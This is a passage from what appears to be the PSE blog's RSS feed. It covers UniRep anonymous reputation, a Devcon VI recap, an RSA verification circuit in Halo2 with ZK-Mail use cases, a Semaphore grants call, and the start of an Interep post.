anonymously send signals from within a group. Inside of a Semaphore group, users' actions are unconnected to their "outside" identities. Instead of interacting with people as a uniquely identifiable individual, Semaphore identities are expressed simply as a member of the group. Epoch keys change every epoch, are unique to every user, and look completely random. Only the user knows if they are receiving an attestation or reputation; others would see only an attestation to a random value. Epochs and changing epoch keys help preserve privacy by mixing up where reputation accrues and what identities people use to interact. ## All about the trees UniRep uses a system of migrating [Merkle tees](https://www.youtube.com/watch?v=YIc6MNfv5iQ) to maintain reputation and privacy at the same time. Merkle trees are data structures capable of efficiently storing and verifying information; reputation and user data are stored as leaves in UniRep's Merkle trees. Proving a UniRep reputation means generating a proof that a user's claim (their reputation level) exists in a valid Merkle tree. When users first sign up, their data is entered into a [State Tree](https://developer.unirep.io/docs/protocol/trees#state-tree). Each attester has their own separate version of a State Tree, which changes every epoch. State Trees can be thought of as the meta reputation tracker for a specific attester: containing relevant UniRep users and their starting reputations at the beginning of an epoch. Since epoch keys are temporary, the reputations they accumulate must be migrated to a new Merkle tree. When users transition into the new epoch, they receive new epoch keys and the old epoch keys become invalid. In the background, their reputation follows them to the next iteration of an attester's State Tree via ZK proofs. Moving to the new State Tree means creating a [User State Transition Proof](https://developer.unirep.io/docs/circuits-api/circuits#user-state-transition-proof) verifying the user followed all the rules of the protocol. The proofs show there was no cheating: no omitting negative attestations or adding fraudulent positive attestations. ![](/articles/unirep-protocol/X1povaSYYwUDI4HdZL_Rw.webp) The user generates a User State Transition proof containing a new state tree leaf containing the attester ID, the user's [Semaphore identity nullifier](https://semaphore.appliedzkp.org/docs/guides/identities), sum of the user's positive and negative reputation from the previous epoch, timestamp and "graffiti" - a value given to the user by the attester. This new leaf is provided to the smart contract, which verifies the proof and inserts it into the new State Tree. Once a user accrues reputation, they can prove how many reputation points they've accumulated through a [reputation proof](https://developer.unirep.io/docs/circuits-api/circuits#reputation-proof). The reputation proof is a ZK proof that verifies the user exists, has the claimed reputation, and has performed all the necessary transitions or migrations. The reputation proof makes sure the user's claims are consistent with the data in the State Tree. There are many parallel efforts to reimagine and rearchitect online social systems to be more decentralized, permissionless, and censorship-resistant. Though different in their approaches, all these initiatives are creating basic building blocks for identity and reputation, then playing with different ways to stack the structure. Efforts such as [Decentralized Identifiers (DIDs)](https://www.w3.org/TR/2022/REC-did-core-20220719/#abstract), [Decentralized Society (DeSoc)](https://papers.ssrn.com/sol3/papers.cfm?abstract_id=4105763), [peer-to-peer networks](https://scuttlebutt.nz/about/) and [Federated universes](https://eric442.substack.com/p/what-is-the-fediverse-0d6) or [networks](https://blueskyweb.xyz/blog/10-18-2022-the-at-protocol) allow anyone to join in, express themselves, and have the freedom to choose how they connect and participate with others. In these systems, users own their accounts, their data and their social graphs; users can choose how they interface with the network; and independent servers or systems are able to talk to each other by default. When we hear "social applications" we tend to think of social media platforms like Twitter or Reddit – but restaurant reviews, marketplaces, rideshares and homestays are all highly social and highly dependent on reliable reputation systems. ZK social or [ZK identity](https://0xparc.org/blog/zk-id-2) share many of the principles of the decentralized social efforts mentioned previously, but ZK social starts with privacy as the foundational layer to build upon – which is especially important in use cases like homestays that cross into "real life" – and uses zero-knowledge proofs as the primary mechanism to make claims about identities or reputations. UniRep protocol is one building block in the ZK social stack. Adding on complexity and data to an anonymous system allows people to regain the color that is lost when users can't be individually identified. Building social primitives from scratch means having to consider and experiment with new ways to layer in constraints, rules, and feedback mechanisms. Eventually, interesting, multi-dimensional, user-owned, privacy-preserving, digital identity and reputation systems – all interoperating – are expected to emerge. But it's still early days. Protocols such as Semaphore and UniRep are meant to serve as foundational building blocks near the base of the ZK social stack. These primitives can't decide how this ZK-enabled social future will look or feel; that can only be decided by users, attesters, and builders. ## Next steps UniRep is still in the early stages of development, but the team is already working on the [next version](https://github.com/Unirep/Unirep/issues/134) of the protocol, which aims to make the system more customizable and easy for attesters as well as more scalable by reducing the complexity of creating ZK proofs. You can try a [demo app](https://unirep.social/) built with UniRep Protocol, which resembles Reddit but with anonymity and privacy by default. If you'd like to contribute to helping build the next version of [UniRep Protocol](https://github.com/unirep) or integrating this anonymous reputation layer to your project, check out the [docs](https://developer.unirep.io/docs/welcome) and join the [UniRep Discord here](https://discord.gg/VzMMDJmYc5). UniRep Protocol is possible thanks to the contributions of [Vivian](https://github.com/vivianjeng), [Chance](https://github.com/vimwitch), [Doris](https://github.com/kittybest), [Anthony](https://github.com/AnthonyMadia), [Yuriko](https://github.com/yuriko627), [CJ](https://github.com/CJ-Rose), and [Chiali](https://github.com/ChialiTsai). ]]> unirep semaphore privacy reputation zero-knowledge proofs anonymity/privacy identity ethereum social infrastructure/protocol <![CDATA[Devcon VI Recap]]> https://pse.dev/blog/devcon-vi-recap https://pse.dev/blog/devcon-vi-recap Wed, 16 Nov 2022 00:00:00 GMT <![CDATA[ The potential of [zero-knowledge](https://ethereum.org/en/zero-knowledge-proofs/#what-are-zk-proofs) cryptography was on full display at Devcon VI in Bogota, which featured a [dedicated ZK track](https://archive.devcon.org/archive/playlists/devcon-6-zkps-privacy-identity-infrastructure-and-more/) for the first time ever. Since most of [PSE’s work](https://appliedzkp.org/) has happened in the 3 years since [Devcon V in Osaka](https://archive.devcon.org/archive/watch?edition=5&order=desc&sort=edition), it was also a debut for many of our projects – and many of our team members met for the first time! There was a lot we were excited to share with the community. In this post, we’ll revisit some highlights of our time in Bogota, including talks by PSE team members and the Devcon VI Temporary Anonymous Zone. ## Temporary Anonymous Zone (TAZ) Devcon VI [Community Hubs](https://forum.devcon.org/t/rfp-5-community-hubs-closed/454) were dedicated community spaces to gather around topics or initiatives, each hosted by a different group or organization. The PSE team had the opportunity to design one of these hubs, which we called the Temporary Anonymous Zone (TAZ). ![](/articles/devcon-vi-recap/jRWhyCjD9FEtEXssLtAFh.webp) ZKPs may have earned a track on the Devcon schedule, but the technology we work on can still sometimes feel mysterious – even scary – so we hoped to create a friendly and welcoming place for experts and beginners alike. ![](/articles/devcon-vi-recap/XxQMColt3EwEgrx7q2BAq.webp) The TAZ allowed us to show the human side of our work and create a space for open questions and conversations about ZK. There were plenty of “aha” moments and realizations for both the people we talked to and the PSE team itself. The PSE team’s work revolves around exploration and community support. Conversations at the TAZ helped us understand more about our place within the Ethereum community and how we might decide which directions to explore next. ![](/articles/devcon-vi-recap/3yn-D87gf2ncklpE3KOzG.webp) We also heard from more than one totally unpaid person that we had the “best swag”… ![https://twitter.com/shumochu/status/1580258439829168128](/articles/devcon-vi-recap/lKfXl5zS4FJPUCA7Jjijq.webp) https://twitter.com/shumochu/status/1580258439829168128 ### TAZ App When the WiFi permitted it, the [TAZ app](https://taz.appliedzkp.org/) allowed many visitors to use ZKPs for the first time in a low-stakes and accessible way. With just a QR code and their phone, people could easily generate a Semaphore ID and interact anonymously with other Devcon attendees by drawing or asking and answering questions. Live applications like [heyanon](https://twitter.com/DevconAnon) and [zkitter](https://www.zkitter.com/explore/) let users get a sense for how anonymity could change the way they expressed themselves. ![https://taz.appliedzkp.org/](/articles/devcon-vi-recap/5VNb1RHAyZ4T0d-6W5APN.webp) https://taz.appliedzkp.org/ The TAZ app was a practical showcase for how Semaphore could be integrated into different applications and let people try using ZK proofs for anonymous social interaction. We hope to continue building and improving on this idea in the future. One thing we wish we did with the app was get feedback! If you were with us at Devcon and still have your Semaphore ID QR code, you can log back into the app and [share your feedback](https://taz.appliedzkp.org/feedback) anonymously. We’re already making plans for future TAZ experiments, and your feedback on the first version will help us make the next one even better. You can also let us know how we did on the [PSE Discord.](https://discord.gg/jCpW67a6CG) Or just come say hi! ## PSE Talks Roundup ### PSE: What We Do and How to Get Involved If this is your first time hearing of the PSE team, this talk is a good place to start. It gives an overview of the primitives, infrastructure, tools the PSE team has been building and how we support contributors. ![](/articles/devcon-vi-recap/84S0htnB4QjvRftfNUdtZ.webp) Watch [PSE: What We Do and How to Get Involved](https://www.youtube.com/watch?v=HnGmgVo3nWw) ### Semaphore: Anonymous Signaling on Ethereum [Semaphore](https://semaphore.appliedzkp.org/), the protocol used in the TAZ to allow users to interact anonymously with the Devcon group, is one of PSE’s most used privacy primitives. ![](/articles/devcon-vi-recap/-l9236SLJtNbiJ6lgKVf2.webp) Watch [Semaphore: Anonymous Signaling on Ethereum](https://archive.devcon.org/archive/watch/6/anonymous-signalling-on-ethereum/?tab=YouTube) ### Interep: An Identity Bridge from Web2 to Web3 [Interep](https://interep.link/), built using Semaphore, is a practical solution for preventing sybil attacks on Ethereum. Geoff explained how the protocol uses ZK proofs to anonymously import reputation from Web2 networks such as Github, Reddit, and Twitter. ![](/articles/devcon-vi-recap/4WYV18ECt-am4PkJ3P0XH.webp) Watch [Interep: An Identity Bridge from Web2 to Web3](https://archive.devcon.org/archive/watch/6/interep-an-identity-bridge-from-web2-to-web3/?tab=YouTube) ### Private Exchange on Zkopru [Zkopru](https://zkopru.network/), an optimistic rollup that uses ZK proofs to protect the privacy of its users and one of PSE’s longest-running projects, was featured in two presentations: ![](/articles/devcon-vi-recap/bsAbX--0Ys64kQm9rln_q.webp) - [Private Exchange on Zkopru](https://archive.devcon.org/archive/watch/6/private-exchange-on-zkopru/?tab=Swarm) focused on the implementation of Zkopru with other zero knowledge protocols in a private exchange application. - [Public Goods, Experiments and the Journey of Zkopru](https://archive.devcon.org/archive/watch/6/public-goods-and-experiments-the-journey-of-zkopru/?tab=Swarm) traced the development of Zkopru and how it fits into the PSE ethos of experimentation and building public goods. ### Onboard The World Into Your Rollup dApp with BLS Wallet [Account abstraction](https://archive.devcon.org/archive/watch/6/account-abstraction-panel/?tab=YouTube) continued to gain steam in Bogota, with some great hackathon projects at ETHBogota and [talks at Devcon](https://archive.devcon.org/archive/watch/?order=desc&q=account%20abstraction&sort=edition). Adoption challenges still remain, but a friendlier and faster user experience is gaining adoption via innovations like BLS signatures and account abstraction. ![](/articles/devcon-vi-recap/VkegEmh-Jot1gWvUu79NA.webp) Watch [Onboard The World Into Your Rollup dApp with BLS Wallet](https://archive.devcon.org/archive/watch/6/onboard-the-world-into-your-rollup-dapp-with-bls-wallet/?tab=YouTube) ### Designing Public Goods Using ZKPs At the PSE, we take design seriously. Thinking deeply about the best ways to help people understand and use tools enabled by ZK proofs (ZKPs) is a huge part of the team’s work. Rachel shared some of the processes and philosophies PSE’s design team uses to translate complex concepts into recognizable mental models. ![](/articles/devcon-vi-recap/Mm-5YFd99jIHgl5JUyfq-.webp) Watch [Designing Public Goods Using ZKPs](https://archive.devcon.org/archive/watch/6/designing-public-goods-using-zkps/?tab=YouTube) ### ELI5: Zero Knowledge If all this ZK stuff is sorcery to you, you’re not alone. This field is complex, confusing, and intimidating – especially for beginners – so sometimes learning like a 5-year-old is the best way to get started. Check out this introductory talk to increase your knowledge from zero to slightly more than zero. ![](/articles/devcon-vi-recap/_5mjaUv_5w2bbds35k-md.webp) And if you don’t know, now you know. Watch [ELI5: Zero Knowledge](https://archive.devcon.org/archive/watch/6/eli5-zero-knowledge/?tab=YouTube) ### What to know about Zero Knowledge One of our favorite panels was a conversation moderated by Albert Ni between Barry Whitehat, Vitalik Buterin, and Gubsheep. If you’re interested in high-level ideas surrounding ZK and why so many in the community are excited about this area of research, this is one to watch (or rewatch)! ![](/articles/devcon-vi-recap/Z7D_I3d469JfUJ1mz5-Zx.webp) Watch [What to know about Zero Knowledge](https://archive.devcon.org/archive/watch/6/what-to-know-about-zero-knowledge/?tab=YouTube) BONUS: For another high-level perspective about the potential of zero-knowledge cryptography, check out gubsheep’s talk: [ZKPs and "Programmable Cryptography"](https://archive.devcon.org/archive/watch/6/zkps-and-programmable-cryptography/?tab=YouTube). ### Sessions with 0xPARC PSE is just one of many teams and organizations in the broader ZK community. We’re all trying to push the boundaries of ZK research and figure out what’s possible through exploration and experimentation. At Devcon, we were fortunate enough to organize a full day of programming with our friends and frequent collaborators at [0xPARC](https://0xparc.org/), with presenters from all over the ecosystem covering a range of topics in the applied ZK field. Unfortunately there were some recording issues during these sessions so some presentations were missing sections of video or audio 🙁. We’ve collected the recordings we do have into playlists below, and we’ll work with presenters to re-record and upload talks that were affected by the technical difficulties. The **Future of ZK Proving Systems** session explored techniques, tools, and applications enabling the interoperable and efficient proof systems of the future. \[[https://www.youtube.com/playlist?list=PLV91V4b0yVqSyooZlCxKhYn3my9Mh6Tgn](https://www.youtube.com/playlist?list=PLV91V4b0yVqSyooZlCxKhYn3my9Mh6Tgn)\] The **ZK Security workshop** brought together experts in ZK, formal verification and assurance to discuss approaches to securing ZK apps. \[Videos coming soon at: [https://www.youtube.com/playlist?list=PLV91V4b0yVqQBwxoUGqoHHuif1GRfg2Ih](https://www.youtube.com/playlist?list=PLV91V4b0yVqQBwxoUGqoHHuif1GRfg2Ih)\] The **ZK Application Showcase** was a rapid-fire series of presentations and demos to get up to speed on some of the newest projects from across the ZK community. ![](/articles/devcon-vi-recap/GPXCiodHqQzrls07d-yYl.webp) Watch [ZK Application Showcase](https://www.youtube.com/playlist?list=PLV91V4b0yVqSR2OJhFv-0ZxEvTWnm7bDR) ### PSE Playlist This is just a sampling of presentations by the PSE team, but there are many other projects at varying levels of maturity. If you want to get up to speed on all things PSE at Devcon, we’ve curated a playlist to get you started. ![](/articles/devcon-vi-recap/P297hpwnF0bummk6vNJDi.webp) Watch [PSE Playlist](https://www.youtube.com/playlist?list=PLV91V4b0yVqRQ62Mv0nUgWxJhi4E67XSY) ## ¡Muchas Gracias, Bogotá! For the PSE team, Devcon was a time to finally put a face to the voice or avatar on Discord. We had an amazing time meeting and getting to know each other and the Ethereum community. Hope to see you next time! ]]> zero-knowledge proofs semaphore privacy ethereum pse zkevm zkopru interep identity public goods <![CDATA[RSA Verification Circuit in Halo2 and its Applications]]> https://pse.dev/blog/rsa-verification-circuit-in-halo2-and-its-applications https://pse.dev/blog/rsa-verification-circuit-in-halo2-and-its-applications Mon, 14 Nov 2022 00:00:00 GMT <![CDATA[This post was authored by grantee **Sora Suegami** ([Twitter](https://twitter.com/SoraSue77), [Github](https://github.com/SoraSuegami))]]> <![CDATA[ ## Introduction We released an RSA verification circuit compatible with the [halo2 library developed by the privacy-scaling-explorations team](https://github.com/privacy-scaling-explorations/halo2). It allows halo2 developers to write circuits to verify RSA-based cryptographic schemes such as RSA signature, RSA accumulator, and [verifiable delay function based on groups of unknown order](https://eprint.iacr.org/2018/623.pdf). This post describes the background design and its applications. Github repo: [halo2-rsa](https://github.com/SoraSuegami/halo2_rsa) ## Circuit Specification Our circuit supports verification of the RSA relationship, i.e., ***x*ᵉ mod _n_** for the integer _**x**_ and RSA public key (_**n,e**_). At a high level, it provides the following three functions. 1. Modular exponentiation It takes as inputs the integer _**x**_ and the RSA public key (_**n,e**_), outputs an integer ***x*ᵉ mod _n_** 2. Modular exponentiation with fixed _**e**_ Its functionality is equivalent to that of the first one, except that the exponent integer _**e**_ is fixed in advance. 3. Pkcs1v15 signature verification. It takes as inputs the pkcs1v15 signature _**c**_, the RSA public key (_**n,e**_), and the signed message _**m**_, makes constraints to verify that _**c**_ is a valid signature for (_**n,e**_) and _**m**_. Note that pkcs1v15 is a specification of the RSA signature defined in [RFC3447](https://www.rfc-editor.org/rfc/rfc3447). The above functions were developed with reference to the [circom-rsa-verify repository](https://github.com/zkp-application/circom-rsa-verify), which contains a circuit for pkcs1v15 signature verification in the [circom language](https://docs.circom.io/). It first defines a circuit for modular multiplication of big integers, that is to say, integers whose size is larger than that of the native field of the arithmetic circuit, and then verifies the signature by computing modular exponentiation with that circuit. We took a similar approach for our circuits. In addition, the range check, the verification of whether a given integer is within a certain range, was optimized with a lookup table. Specifically, the constraints for the big integer computation is defined as follows. ## Big Integer Computations on the Circuit A big integer is represented by multiple values in the native field of the arithmetic circuit, each value being called a limb. It is classified into two types: **Fresh type** and **Muled type**. The former type is assigned to the big integers that have not yet been multiplied, while the latter type is assigned after multiplication. We distinguish them to manage the maximum value of the limbs; the limbs of the Fresh type big integer must fit into _**w**_\-bit, and those of the Muled type may overflow it. For example, we consider a 2048-bit big integer that consists of 32 64-bit limbs. The big integer has the Fresh type when newly allocated on the circuit, and its limb value is less than _**2⁶⁴**_. When two big integers are added or subtracted, the resulting big integer has the Fresh type, and only the number of limbs is modified. However, in multiplication, the output big integer has Muled type, whose limb can be larger than _**2⁶⁴-1**_. This is because the big integer multiplication is computed in the same way as polynomial multiplication. Formally, for two big integers _**a = a₀x⁰ +**_ _**a₁x¹ + ⋯ + a₃₁x³¹**_ and _**b₀x⁰ +**_ _**b₁x¹ + ⋯ +b₃₁x³¹**_, where _**x=2⁶⁴**_, their multiplication is defined as follows. ![](/articles/rsa-verification-circuit-in-halo2-and-its-applications/ZdsDrBBUuNyHcZNu76dVj.webp) To convert the Muled type big integer back into the Fresh type one, our circuit provides a refresh function that creates a big integer equal to the given big integer where each limb value is 64-bit with increasing the number of limbs. By refreshing the product with that function, multiplication can be performed multiple times. Our circuit also supports modular multiplication, i.e., **_a ∗ b_ mod _n_** for big integers _**a**_,_**b**_ and a modulus _**n**_. It first calculates the quotient _**q = ab/n**_ and the remainder _**r =**_ **_ab_ mod** _**n**_ without making constraints. It then constrains _**q**_ and _**r**_ to satisfy the following conditions. 1. The product _**ab**_ is equal to _**qn + r**_. 2. Each limb of _**q**_ and _**r**_ is in the range of \[_**0, 2⁶⁴**_). To verify the first condition, the (not modular) multiplication function is used. For the second condition, existing circuits such as [circom-bigint](https://github.com/alex-ozdemir/circom-bigint) assign a new value to each bit and verify that the composed value is equal to the original value; however, our circuit uses a lookup table. This optimization allows the prover to prove that multiple values are in the specified range in batch as described in [Plookup protocol](https://eprint.iacr.org/2020/315.pdf). By repeating the modular multiplication described above, the modular power _**aᵉ**_ **mod _n_** for an exponent big integer _**e**_ is computed. Formally, it is implemented as follows. 1. Decompose _**e**_ into _**n**_ bits (_**e₀**_,**_a₁,…,eₙ_**₋**_₁_**). 2. Let _**y = 1**_ be a modular power result. 3. For ***i*∈** _**{0,…,n−1}**_, update _**y**_ to _**eᵢya²^ⁱ + (1−e₁)y**_. Notably, if _**e**_ is fixed in the circuit, we can reduce the number of the modular multiplication because _**ya²^ⁱ**_ does not need to be computed for _**i**_ where _**eᵢ = 0**_ holds. Our circuit switches the definition of the constraints depending on whether _**e**_ is variable or fixed. Therefore, when _**e**_ of the RSA public key is fixed, e.g., pkcs1v15 signature verification, the number of constraints for modular multiplication is minimum. ## Application: ZK-Mail As an application of the RSA verification circuit, we are considering ZK-Mail, a smart contract that performs email verification using ZKP. Today, digital signatures, especially RSA signatures, are widely used in email protocols such as S/MIME and DKIM to authenticate email senders. Our main idea is that a smart contract can authenticate those emails by verifying the RSA signatures with ZKP. If they pass the authentication, the smart contract can interpret their contents as oracle data provided by the email senders. The smart contract described above is also useful as a contract wallet. Instead of using the wallet application to make a transaction, the user sends an email to the operator of the contract wallet specifying the transfer amount and the destination in its email message. The operator generates a ZK proof indicating that the received email has been authorized, submitting it to the smart contract. The smart contract verifies the proof and transfers the user's assets according to the contents of the email. It allows users to manage their assets on Ethereum without modifying current email systems or installing new tools. If the user is different from the administrator of the sending email server, the security of the user's assets depends on trust in the administrator because the administrator can steal them by forging the user's emails. However, trust in the operator is not necessary. This is because even if the operator modifies the contents of the received emails, the operator cannot forge the signature corresponding to the email sender. In summary, this is a custodial wallet whose security is guaranteed under trust in the email server administrator, allowing users to manage their assets by simply sending emails using their existing email services. In the following, we present two situations where the ZK-Mail can be used. ### Scenario 1: Email as oracle data #### Players and situations - Alice delivers the latest cryptocurrency prices via email. She attaches her RSA signature to the email following the DKIM protocol. - Bob subscribes to Alice's emails and provides them for some DeFi contracts as price oracle data. #### Assumptions - A public key corresponding to Alice's domain name (e.g. [alice.com](http://alice.com/)) is published in DNS and not changed. - Alice's public key and email address are registered in the ZK-Mail contract in advance. #### Procedures 1. Bob receives Alice's latest email. 2. Bob extracts the cryptocurrency name and price data from the contents of the email. 3. Taking Alice's RSA signature and the header/contents of the email as private inputs (witnesses), and her public key, her email address, and the cryptocurrency name and price data as public inputs (statements), Bob generates a ZKP proof confirming the following conditions. - The RSA signature is valid for the header/contents and the public key. - The From field in the header is equivalent to the provided email address, i.e., Alice's email address. - The contents include the cryptocurrency name and price data. 4. Bob provides the price oracle contract with the cryptocurrency name and price data and the ZKP proof. 5. The contract calls the ZK-Mail contract with the provided data. It verifies the ZKP proof using Alice's public key and email address registered in advance. 6. If the proof passes the verification, the price oracle contract accepts the provided name and price data. ![](/articles/rsa-verification-circuit-in-halo2-and-its-applications/9Y4bJxpPnxxhdegr0P6LF.webp) ### Scenario 2: Email as transaction data for the contract wallet #### Players and situations - Alice operates an email service. She attaches her RSA signature to her users' emails following the DKIM protocol. Her domain name is [alice.com](http://alice.com/). - Bob is a user of Alice's email service. His email address is [[email protected]](http://mailto:[email protected]/). - Carol operates a contract wallet service. Her email address is [[email protected]](http://mailto:[email protected]/). #### Assumptions - A public key corresponding to Alice's domain name (e.g. [alice.com](http://alice.com/)) is published in DNS and does not change. - Alice's public key is registered in the ZK-Mail contract in advance. - Bob already registered Carol's wallet service. His email address is registered in the ZK-Mail contract, and he has 2 ETH in his wallet. - **Alice never attaches her RSA signature to forged emails.** #### Procedures 1. Bob wants to transfer 1 ETH to his friend whose email address is [[email protected]](http://mailto:[email protected]/). 2. Bob sends an email to [[email protected]](http://mailto:[email protected]/). Its message is "Transfer 1 ETH to [[email protected]](http://mailto:[email protected]/)". 3. Alice attaches her RSA signature to the Bob's email. 4. Carol receives the email from Bob. She extracts the transfer amount and the destination (1 ETH and [[email protected]](http://mailto:[email protected]/) in this case) from the contents of the email. 5. Taking Alice's RSA signature and the header/contents of the email as private inputs (witnesses), and her public key, sender's email address, and the transfer amount and the destination as public inputs (statements), Carol generates a ZKP proof confirming the following conditions. - The RSA signature is valid for the header/contents and the public key. - The From field in the header is equivalent to the provided email address, i.e., [[email protected]](http://mailto:[email protected]/). - The message in the contents is in the form of "Transfer (transfer amount) to (destination)". 6. Carol provides her service's contract with transaction data including the transfer amount and the destination and the ZKP proof. 7. The contract calls the ZK-Mail contract with the provided data. It verifies the ZKP proof using Alice's public key and Bob's email address registered in advance. 8. If the proof passes the verification, the contract wallet transfers Bob's 1 ETH to the wallet corresponding to the email address of [[email protected]](http://mailto:[email protected]/). (In detail, the contract wallet has storage where the hash of the email address is mapped to the ETH balance. It decreases 1 from the balance of Hash([[email protected]](http://mailto:[email protected]/)) and increases that of Hash([[email protected]](http://mailto:[email protected]/)) by the same amount.) ![](/articles/rsa-verification-circuit-in-halo2-and-its-applications/wqZkchwlp5eKjrHxEQDMp.webp) ]]> rsa halo2 zero-knowledge proofs cryptography circuits security zkp modular exponentiation digital signatures <![CDATA[Semaphore Community Grants]]> https://pse.dev/blog/semaphore-community-grants https://pse.dev/blog/semaphore-community-grants Wed, 21 Sep 2022 00:00:00 GMT <![CDATA[ **The [Privacy Stewards of Ethereums Team](https://appliedzkp.org/) is sponsoring a dedicated round of grants for applications that integrate the [Semaphore](https://semaphore.appliedzkp.org/) anonymous signaling protocol. Semaphore provides zero-knowledge primitives that enable developers to build powerful privacy preserving applications. With this grant round, we’re encouraging builders to try out these tools in real-world applications that matter to your communities.** ## Privacy matters Whether it’s talking confidentially with friends, anonymously broadcasting messages, or simply wanting to choose which aspects of our identity we reveal in which contexts, privacy allows us to express ourselves freely and without fear. Privacy is a tool that should be accessible to as many people as possible, and PSE’s goal is to foster a collaborative community to make access to privacy a reality in everyday life. **If you’re a developer with an idea to use Semaphore for good, we want to hear from you!** ## Semaphore as a privacy layer Semaphore is designed to be a simple and generic *privacy layer* for decentralized applications (dApps) on Ethereum. Semaphore is a [zero-knowledge](https://z.cash/technology/zksnarks) protocol that allows Ethereum users to prove their membership of a group and send signals such as votes or endorsements without revealing their original identity. With Semaphore, you can allow your users to do the following: 1. [Create a private identity and receive a provable anonymous public identity](https://semaphore.appliedzkp.org/docs/guides/identities). 2. [Add an anonymous public identity to a group (a *Merkle tree*)](https://semaphore.appliedzkp.org/docs/guides/groups). 3. [Send a verifiable, anonymous vote or endorsement (a *signal*)](https://semaphore.appliedzkp.org/docs/guides/proofs). ## Semaphore in action You can integrate Semaphore into other primitives, POCs, or end-user applications. Below is a list of several apps already using Semaphore. They may give you an idea of what to build. - [Unirep](https://github.com/Unirep/Unirep) is a social media platform that uses anonymous reputation. Semaphore identities allow users to join with a unique identity, prove they’re eligible to post or give feedback, and choose how much of their stable identity they reveal in any given interaction. - [Interep](https://interep.link/) uses zero knowledge proofs to verify reputation from an existing account such as Github or Twitter without retaining any identifying information. - [Zkitter](https://www.zkitter.com/explore/) is a decentralized social network based on Ethereum and ENS. It uses Semaphore for anonymous user identities. - [Emergence](https://ethglobal.com/showcase/emergence-o3tns) incentivizes communities to participate or contribute to online meetings. The project uses Semaphore to preserve the anonymity of group members and was a finalist at the ETHMexico hackathon. ## Wishlist Surprise us with your creativity! But here are a few ideas for privacy-preserving applications we would love to see built out: - General - Anonymous feedback - Anonymous voting - Whistleblower protection - Anonymous chat for members of an organization or school - Professional - Prove professional skills, credentials, or certificates without revealing identity - Prove one does not have a criminal record without revealing identifying information - Medical - Privately share vaccination status - Privately share medical history - Government - Privately prove income or residence to access government benefits and services - Privately prove the number of countries one can visit with a certain passport - Privately share one’s age - Cybersecurity - Prove a device has the latest security patches and versions without disclosing any personal identifying information ## How to apply Grants are decided on a case-by-case basis. You can apply with more than one proposal so long as each proposal is unique and meets the requirements. - Ideas and projects at any stage are welcome: - Idea phase - Proof-of-concept - Work in progress - Fully fleshed-out project - Requirements: - Proposals must be in English - Work must be open source with a free and permissive license - Published work must be accessible by a URL - What we look for: - Potential impact on broadening the Semaphore community - Quality of contribution to the Semaphore ecosystem - Clarity, conciseness, and organization of documentation - Novelty in reducing the barrier of entry to zero knowledge and privacy applications - Overall quality and clarity of data analysis or data visualization. - Application details - Application dates: September 16th to October 28th, 2022 - Apple here: [https://esp.ethereum.foundation/semaphore-grants](https://esp.ethereum.foundation/semaphore-grants) ## FAQ - How can I learn more about Semaphore? - Check out the [Semaphore Github](https://github.com/semaphore-protocol) repo or go to the [Semaphore website](http://semaphore.appliedzkp.org/). - I have more questions, where do I go? - The best place to ask technical questions about the Semaphore protocol or questions about this grant round is in our [Discord server](https://discord.gg/6mSdGHnstH). - We will also be at Devcon VI in Bogota. Come say hello if you’re in town! We will be located at the Temporary Anonymous Zone (TAZ) in the Community Hub. - You can also email questions to: [[email protected]](http://mailto:[email protected]/) - What if I miss the deadline? - The Ethereum Foundation has a general grants initiative called the [Ecosystem Support Program (ESP)](https://esp.ethereum.foundation/). If you miss the deadline for this dedicated round of grants, but have a proposal, head on over to ESP for a rolling grants process. ]]> semaphore privacy zero-knowledge proofs grants anonymity/privacy identity ethereum public goods social toolkits <![CDATA[Interep: An on-ramp for reputation]]> https://pse.dev/blog/interep-on-ramp-for-reputaion https://pse.dev/blog/interep-on-ramp-for-reputaion Tue, 13 Sep 2022 00:00:00 GMT <![CDATA[ Reputation is built one block at a time, on and off-chain. [Interep](https://interep.link/) is a bridge for moving reputation from centralized into decentralized systems. Centralized social media and other web2 platforms have captured decades’ worth of social history, so that even people who would prefer to exit these systems are dependent on them as a source of reputation. Interep gives developers a headstart for building sybil-resistant decentralized identity on web3 by leveraging social history built on web2. With Interep, users don’t need to build their on-chain identities from scratch. Reputation can be imported from existing platforms like Github, Reddit, and Twitter, then anonymized for use on decentralized platforms. Using [zero-knowledge proofs](https://ethereum.org/en/zero-knowledge-proofs/), only the minimum necessary information is revealed. The result is a modular system of provable, private, and portable reputation. Interep is built on [Semaphore](https://semaphore.appliedzkp.org/), a zero knowledge protocol which allows Ethereum users to prove their membership of a group and send signals anonymously. Interep is currently on testnet. You can [join a group](https://kovan.interep.link/) using your Github, Reddit or Twitter account, or with a POAP held in a connected wallet. Developers can integrate Interep into their dapps using the Interep [APIs](https://docs.interep.link/api/) and [libraries](https://github.com/interep-project/interep.js). ## Anonymity and trust Anonymity is important for both free expression and safety online – but trust is important too. In an online community, you want to know that the people you interact with are really people; you may also want to know whether they are members of a certain group or have some level of credibility. Offline, it’s easy to tell whether someone is a real person: they’re standing in front of you. Online, it’s often much harder to know. Bots, spammers and [sybil attacks](https://en.wikipedia.org/wiki/Sybil_attack) (creating large numbers of anonymous or pseudonymous accounts) are rampant in anonymous environments where it’s trivial to create new accounts and difficult or impossible to distinguish legitimate accounts from fake or duplicate ones. ## Identity and reputation Identity is multifaceted, and reputation is just one important aspect. Reputation is dynamic, spread across a complex web of relationships and past actions. Each person in your orbit holds a partial map of your character: personality traits like reliability, honesty or generosity, your skills, your work history, your associations with other people and organizations. Context is important, too – if you’re notoriously dishonest but very good at your job, you might be in high demand professionally but unwelcome at a poker night. Similarly online, there is a wide range of contexts where varying levels of reputation and trust are needed. Online social, community and professional networks provide a relatively reliable source of reputation, but often at the cost of giving up control over how other aspects of identity are shared. In any interaction, on or offline, some aspects of your identity are relevant and others are not. Sometimes, the fact that you are a person is the only relevant detail. In online settings where anonymity is desirable but some level of trust is required, we need a way of sharing what’s relevant and keeping the rest private. ## Reputation Legos Determining whether someone on the internet is a “real” human, let alone a trustworthy one, is an ongoing challenge, but only minimal information is needed to make significant progress in preventing spam bots and [Sybil attacks](https://en.wikipedia.org/wiki/Sybil_attack). Having >10,000 karma and >5000 coins on Reddit is enough “proof of humanity” for most applications. Everything else on your Reddit profile is irrelevant to the question of whether you’re a real person. Interep is designed to be a modular piece of a larger reputation system that developers can plug into their stack. Like the building blocks that make up [decentralized finance (DeFi](https://ethereum.org/en/defi/)), these pieces can be permissionless, composable, and interoperable – and may one day form a rich and complex system of identity on Ethereum. It may not be possible to completely eliminate Sybil attackers and spam bots, but Interep is providing a powerful building block to bring pieces of reputation on to Ethereum. Over time, these reputational building blocks can construct more provably human identities. ## Interep in action Reputation can 